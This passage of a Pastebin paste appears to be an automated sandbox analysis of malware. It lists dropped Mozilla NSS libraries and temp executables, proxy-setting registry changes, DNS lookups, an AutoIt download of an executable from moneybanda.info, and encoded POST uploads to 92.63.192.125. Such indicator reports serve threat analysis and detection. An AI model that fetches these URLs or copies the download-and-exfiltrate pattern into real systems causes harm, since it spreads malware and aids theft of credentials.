  724. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-process-l1-1-0.dll",
  725. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-runtime-l1-1-0.dll",
  726. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-stdio-l1-1-0.dll",
  727. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-string-l1-1-0.dll",
  728. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-time-l1-1-0.dll",
  729. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-utility-l1-1-0.dll",
  730. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\freebl3.dll",
  731. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\mozglue.dll",
  732. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\msvcp140.dll",
  733. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\nss3.dll",
  734. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\nssdbm3.dll",
  735. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\softokn3.dll",
  736. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\ucrtbase.dll",
  737. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\vcruntime140.dll",
  738. "C:\\Users\\user\\AppData\\Local\\Temp\\62846715688513816632005.tmp",
  739. "C:\\Users\\user\\AppData\\Local\\Temp\\63358909959219912515247.tmp",
  740. "C:\\Users\\user\\AppData\\Local\\Temp\\63360316226124773771945.tmp",
  741. "C:\\Users\\user\\AppData\\Local\\Temp\\6336078769615581907344.tmp",
  742. "C:\\Users\\user\\AppData\\Local\\Temp\\633614093971429742682.tmp",
  743. "C:\\Users\\user\\AppData\\Local\\Temp\\curbuf.dat",
  744. "C:\\Windows\\sysnative\\LogFiles\\Scm\\4963ad21-c4a5-42a5-b9bd-e441d57204fe",
  745. "C:\\Windows\\sysnative\\LogFiles\\Scm\\7bbc503c-5977-4798-a4ae-61483a7e030d",
  746. "C:\\Windows\\sysnative\\LogFiles\\Scm\\84d5e4ce-e6de-407e-9e5b-6ea3c5cbb73f",
  747. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAD00.tmp.appcompat.txt",
  748. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB0AB.tmp.WERInternalMetadata.xml",
  749. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB0CB.tmp.hdmp",
  750. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB8CB.tmp.mdmp",
  751. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_eb71ef964c95de5826f5dbf6417783430b96dd1_cab_0b84d553\\WERAD00.tmp.appcompat.txt",
  752. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_eb71ef964c95de5826f5dbf6417783430b96dd1_cab_0b84d553\\WERB0AB.tmp.WERInternalMetadata.xml",
  753. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_eb71ef964c95de5826f5dbf6417783430b96dd1_cab_0b84d553\\WERB0CB.tmp.hdmp",
  754. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_eb71ef964c95de5826f5dbf6417783430b96dd1_cab_0b84d553\\WERB8CB.tmp.mdmp",
  755. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_eb71ef964c95de5826f5dbf6417783430b96dd1_cab_0b84d553\\Report.wer",
  756. "\\??\\PIPE\\lsarpc",
  757. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_eb71ef964c95de5826f5dbf6417783430b96dd1_cab_0b84d553\\Report.wer.tmp"
  758.  
  759.  
  760. * Deleted Files:
  761. "C:\\Users\\user\\AppData\\Local\\Temp\\62846715688513816632005.tmp",
  762. "C:\\Users\\user\\AppData\\Local\\Temp\\63358909959219912515247.tmp",
  763. "C:\\Users\\user\\AppData\\Local\\Temp\\63360316226124773771945.tmp",
  764. "C:\\Users\\user\\AppData\\Local\\Temp\\6336078769615581907344.tmp",
  765. "C:\\Users\\user\\AppData\\Local\\Temp\\633614093971429742682.tmp",
  766. "C:\\Users\\user\\AppData\\Local\\Temp\\curbuf.dat",
  767. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-console-l1-1-0.dll",
  768. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-datetime-l1-1-0.dll",
  769. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-debug-l1-1-0.dll",
  770. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-errorhandling-l1-1-0.dll",
  771. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-file-l1-1-0.dll",
  772. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-file-l1-2-0.dll",
  773. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-file-l2-1-0.dll",
  774. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-handle-l1-1-0.dll",
  775. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-heap-l1-1-0.dll",
  776. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-interlocked-l1-1-0.dll",
  777. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-libraryloader-l1-1-0.dll",
  778. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-localization-l1-2-0.dll",
  779. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-memory-l1-1-0.dll",
  780. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-namedpipe-l1-1-0.dll",
  781. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-processenvironment-l1-1-0.dll",
  782. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-processthreads-l1-1-0.dll",
  783. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-processthreads-l1-1-1.dll",
  784. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-profile-l1-1-0.dll",
  785. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-rtlsupport-l1-1-0.dll",
  786. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-string-l1-1-0.dll",
  787. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-synch-l1-1-0.dll",
  788. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-synch-l1-2-0.dll",
  789. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-sysinfo-l1-1-0.dll",
  790. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-timezone-l1-1-0.dll",
  791. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-core-util-l1-1-0.dll",
  792. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-conio-l1-1-0.dll",
  793. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-convert-l1-1-0.dll",
  794. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-environment-l1-1-0.dll",
  795. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-filesystem-l1-1-0.dll",
  796. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-heap-l1-1-0.dll",
  797. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-locale-l1-1-0.dll",
  798. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-math-l1-1-0.dll",
  799. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-multibyte-l1-1-0.dll",
  800. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-private-l1-1-0.dll",
  801. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-process-l1-1-0.dll",
  802. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-runtime-l1-1-0.dll",
  803. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-stdio-l1-1-0.dll",
  804. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-string-l1-1-0.dll",
  805. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-time-l1-1-0.dll",
  806. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\api-ms-win-crt-utility-l1-1-0.dll",
  807. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\freebl3.dll",
  808. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\mozglue.dll",
  809. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\msvcp140.dll",
  810. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\nss3.dll",
  811. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\nssdbm3.dll",
  812. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\softokn3.dll",
  813. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\ucrtbase.dll",
  814. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\vcruntime140.dll",
  815. "C:\\Users\\user\\AppData\\Local\\Temp\\9FD6166A\\",
  816. "C:\\Users\\user\\AppData\\Local\\Temp\\dfiuwejksdadfjhewkjsaq.exe",
  817. "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_814a1a1490224b7fbe7d1a535f46ba85.exe",
  818. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAD00.tmp",
  819. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAD00.tmp.appcompat.txt",
  820. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB0AB.tmp",
  821. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB0AB.tmp.WERInternalMetadata.xml",
  822. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB0CB.tmp",
  823. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB0CB.tmp.hdmp",
  824. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB8CB.tmp",
  825. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB8CB.tmp.mdmp",
  826. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_eb71ef964c95de5826f5dbf6417783430b96dd1_cab_0b84d553\\Report.wer.tmp"
  827.  
  828.  
  829. * Modified Registry Keys:
  830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable",
  831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer",
  832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings",
  833. "HKEY_CURRENT_USER\\Software\\BorlightMedia",
  834. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
  835. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\Type",
  836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent",
  837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent\\DefaultConsent",
  838. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\TimeProviders\\NtpClient\\SpecialPollTimeRemaining"
  839.  
  840.  
  841. * Deleted Registry Keys:
  842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyOverride",
  843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL"
  844.  
  845.  
  846. * DNS Communications:
  847.  
  848. "type": "A",
  849. "request": "moneybanda.info",
  850. "answers":
  851.  
  852. "data": "81.177.141.241",
  853. "type": "A"
  854.  
  855.  
  856.  
  857.  
  858. "type": "A",
  859. "request": "yip.su",
  860. "answers":
  861.  
  862. "data": "88.99.66.31",
  863. "type": "A"
  864.  
  865.  
  866.  
  867.  
  868.  
  869. * Domains:
  870.  
  871. "ip": "88.99.66.31",
  872. "domain": "yip.su"
  873.  
  874.  
  875. "ip": "81.177.141.241",
  876. "domain": "moneybanda.info"
  877.  
  878.  
  879.  
  880. * Network Communication - ICMP:
  881.  
  882. * Network Communication - HTTP:
  883.  
  884. "count": 1,
  885. "body": "",
  886. "uri": "http://moneybanda.info/files/eupool3/0sdaeur.exe",
  887. "user-agent": "AutoIt",
  888. "method": "GET",
  889. "host": "moneybanda.info",
  890. "version": "1.1",
  891. "path": "/files/eupool3/0sdaeur.exe",
  892. "data": "GET /files/eupool3/0sdaeur.exe HTTP/1.1\r\nUser-Agent: AutoIt\r\nHost: moneybanda.info\r\n\r\n",
  893. "port": 80
  894.  
  895.  
  896. "count": 1,
  897. "body": "\\x00\\x00\\x00&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c",
  898. "uri": "http://92.63.192.125/index.php",
  899. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  900. "method": "POST",
  901. "host": "92.63.192.125",
  902. "version": "1.1",
  903. "path": "/index.php",
  904. "data": "POST /index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: 92.63.192.125\r\nContent-Length: 107\r\nCache-Control: no-cache\r\n\r\n\\x00\\x00\\x00&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c",
  905. "port": 80
  906.  
  907.  
  908. "count": 1,
  909. "body": "",
  910. "uri": "http://92.63.192.125/index.php",
  911. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  912. "method": "POST",
  913. "host": "92.63.192.125",
  914. "version": "1.1",
  915. "path": "/index.php",
  916. "data": "POST /index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: 92.63.192.125\r\nContent-Length: 65847\r\nCache-Control: no-cache\r\n\r\n",
  917. "port": 80
  918.  
  919.  
  920. "count": 1,
  921. "body": "",
  922. "uri": "http://92.63.192.125/index.php",
  923. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  924. "method": "POST",
  925. "host": "92.63.192.125",
  926. "version": "1.1",
  927. "path": "/index.php",
  928. "data": "POST /index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: 92.63.192.125\r\nContent-Length: 65847\r\nCache-Control: no-cache\r\n\r\n&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c\\xd2&f\\x98&g\\xeb&f\\x9f\\x7f\\x02\\xc7m1\\xc1t&\\x8b1e\\x8b0b\\x8b1e\\xebm!\\xcbq%\\xdcj&\\xcb&g\\x9eM)\\xd6&f\\x98&f\\x9a\\x7f\\x06\\xecV\\x02\\x8b0b\\xf6&f\\x98&f\\x9a\\x7f&\\xccv)\\x8b0e\\xd2&f\\x9e\\x7fp\\x9d3)\\x8b0e\\xd2F)\\xef0`\\x9dFb\\x99G\\x13\\x83:g\\x96Ax\\x9a:a\\x9f.\\x14\\x980d\\x836d\\x9c5c\\x9cEe\\x99;`\\xef0e\\x982x\\x9aFa\\x9e.\\x17\\xec@g\\x830\\x14\\x9c4\\x13\\x987d\\xea0g\\xec.`\\x9aE\\x13\\x837a\\xea4x\\x966\\x13\\x9d.\\x11\\x976e\\xe86d\\x97Ed\\x9cEf\\x9b0\\x10\\x994\\x11\\xe8.l\\x9c;\\x17\\x837l\\x9a2x\\xef5f\\x9f.`\\x9f1c\\x981\\x13\\x9e4m\\x9bBf\\x9e5d\\x837\\x10\\x9a3x\\xecA\\x16\\x9c.f\\xef1b\\xe85a\\x9fGf\\x9cAx\\x9b7\\x13\\xe8.a\\x9aGb\\x83;`\\xe80x\\xea:`\\x9eE`\\x9f:\\x13\\x9f1\\x13\\x9d6f\\xeb4b\\xeaEx\\x971m\\xec.a\\x977d\\x83Bc\\x9d2x\\x9b2g\\x985g\\xe83b\\x966\\x14\\x9d3c\\x9f.a\\xeb7e\\x83A\\x17\\xed1x\\x9dBg\\x99Ec\\x9a2\\x11\\x9d1\\x17\\x836a\\xe8Ex\\x9a7\\x11\\x99.m\\x9bEf\\x83Gl\\x9b3\\x13\\x9b2l\\xe82g\\xe80`\\x9dFb\\x99G\\x13\\x83:g\\x96Ax\\x9a:a\\x9f.\\x14\\x980d\\x836d\\x9c5c\\x9cEe\\x99;`\\xef0e\\x982x\\x9aFa\\x9e.\\x17\\xec@g\\x830\\x14\\x9c4\\x13\\x987d\\xea0g\\xec.`\\x9aE\\x13\\x837a\\xea4x\\x966\\x13\\x9d.\\x11\\x976e\\xe86d\\x97Ed\\x9cEp\\x9d09\\xc7e!\\x8b1\\x10\\xcdl8\\xa3\t4\\xcau0\\xdcw<\\xddj;\\xc9&g\\xeb`:\\xc3\\x0e_\\xcfw\"\\xc1o4\\x8b1\\x10\\xcdl8\\xa3\t7\\xc7m2\\x8b1\\x10\\xcdl8\\xa3\t6\\x8b1\\x10\\xc3p;\\x8b1\\x10\\xcdl8\\xa3\t1\\xc1v7\\xc2f6\\xc2j6\\xc5&g\\xebm0\\xda\\x0e_\\xc9l:\\xc9o0\\x8b1\\x10\\xcdl8\\xa3\t8\\xcbg<\\xcf&g\\xebm0\\xda\\x0e_\\xc3p;\\x8b1\\x10\\xcdl8\\xa3\t&\\xcdl'\\xcb`4\\xdcg'\\xcbp0\\xcfq6\\xc6&g\\xeb`:\\xc3\\x0e_\\x9d6f\\xeb4b\\xeaEx\\x971m\\xec.a\\x977d\\x83Bc\\x9d2x\\x9b2g\\x985g\\xe83b\\x966\\x14\\x9d3c\\x9f.a\\xeb7e\\x83A\\x17\\xed1x\\x9dBg\\x99Ec\\x9a2\\x11\\x9d1\\x17\\x836a\\xe8Ex\\x9a7\\x11\\x99.m\\x9bEf\\x83Gl\\x9b3\\x13\\x9b2l\\xe82g\\xe80`\\x9dFb\\x99G\\x13\\x83:g\\x96Ax\\x9a:a\\x9f.\\x14\\x980d\\x836d\\x9c5c\\x9cEe\\x99;`\\xef0e\\x982x\\x9aFa\\x9e.\\x17\\xec@g\\x830\\x14\\x9c4\\x13\\x987d\\xea0g\\xec.`\\x9aE\\x13\\x837a\\xea4x\\x966\\x13\\x9d.\\x11\\x976e\\xe86d\\x97Ed\\x9cE\\x05\\xe5\\x00Q\\xba\\x03U\\xae\\x03U\\xae\\x03U\\xaem\\x8cPg\\xbd\\xa0\\x03UF\rU\\xae&U\\xae\\x03\\x17\\xdcl\"\\xddf'\\xdd_\\x16\\xc1l>\\xc7f&\\xf2J;\\xdaf'\\xc0f!\\xeb%\\xc2l'\\xcbq\\xda!\\x9do<\\xc8w\\xcdl8\\xa7E\\x14\\xe2P\\x10\\xa7,\\\\xe8B\\x19\\xfdF\\\\x9f5d\\x9e2a\\x970c\\x98\n!\\xc2v<\\xca\nf\\x99;l\\x9a0c\\x982l\\x981g\\x9b2l\\x9d0f\\xa3\t4\\xcau0\\xdcw<\\xddj;\\xc9-6\\xc1n\\\\xe8B\\x19\\xfdF\\\\x81\n\\x13\\xefO\\x06\\xeb\nd\\x982e\\x9f7l\\x9d5c\\xa7B\\x05\\xe7G\\\\x9fB6\\x9d:3\\x97:c\\xcf.a\\x966c\\x832d\\xcb:x\\xcf4d\\xcd.e\\x98;6\\xc8a1\\x9ee1\\x9a3X\\xa4b!\\xd9l9\\xcf-6\\xc1n\\\\xe8B\\x19\\xfdF\\\\x81\n\\x13\\xefO\\x06\\xeb\nd\\x982e\\x9f7l\\x9d5c\\xa7B\\x05\\xe7G\\\\x9fB6\\x9d:3\\x97:c\\xcf.a\\x966c\\x832d\\xcb:x\\xcf4d\\xcd.e\\x98;6\\xc8a1\\x9ee1\\x9a3X\\xa4b!\\xd9l9",
  929. "port": 80
  930.  
  931.  
  932. "count": 1,
  933. "body": "",
  934. "uri": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  935. "user-agent": "Microsoft-CryptoAPI/6.1",
  936. "method": "GET",
  937. "host": "ocsp.usertrust.com",
  938. "version": "1.1",
  939. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  940. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1\r\nCache-Control: max-age = 94765\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.usertrust.com\r\n\r\n",
  941. "port": 80
  942.  
  943.  
  944. "count": 1,
  945. "body": "",
  946. "uri": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D",
  947. "user-agent": "Microsoft-CryptoAPI/6.1",
  948. "method": "GET",
  949. "host": "ocsp.comodoca.com",
  950. "version": "1.1",
  951. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D",
  952. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
  953. "port": 80
  954.  
  955.  
  956. "count": 1,
  957. "body": "",
  958. "uri": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg",
  959. "user-agent": "Microsoft-CryptoAPI/6.1",
  960. "method": "GET",
  961. "host": "ocsp.comodoca.com",
  962. "version": "1.1",
  963. "path": "/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg",
  964. "data": "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
  965. "port": 80
  966.  
  967.  
  968.  
  969. * Network Communication - SMTP:
  970.  
  971. * Network Communication - Hosts:
  972.  
  973. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!